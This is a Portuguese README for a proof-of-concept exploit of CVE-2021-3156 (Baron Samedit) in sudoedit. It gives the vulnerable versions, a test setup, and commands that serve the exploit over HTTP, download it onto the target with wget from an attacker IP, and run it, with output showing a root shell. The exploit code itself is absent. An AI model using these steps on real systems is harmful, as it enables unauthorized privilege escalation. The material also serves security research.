
Prova de conceito em Python para o CVE-2021-3156 (Baron Samedit), um heap overflow no sudoedit que permite escalonamento local de privilégios para root em versões vulneráveis do sudo.
📅 Data: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang
🧠 Pesquisador de Segurança | Entusiasta de Red Team
sudoedit (sudo)O heap-overflow em sudoedit permite que um usuário local obtenha acesso root
ao executar o comando sudoedit com parâmetros previamente preparados.
A exploração está ativa para versões sudo < 1.9.5p2, incluindo imagens populares Ubuntu/Debian/CentOS.
Mesmo com o ASLR ativado, a vulnerabilidade permanece explorável.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (vulnerável)
ASLR : 2 (ativado)
glibc e sudo:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
A exploração da CVE-2021-3156 permanece possível mesmo com o ASLR ativo, se glibc ≥ 2.26 e sudo de versão vulnerável.
O exploit exploit_nss.py mostrou-se o mais estável, funcionando na primeira tentativa com a configuração correta do NSS.
🧨 Sistema sob controle.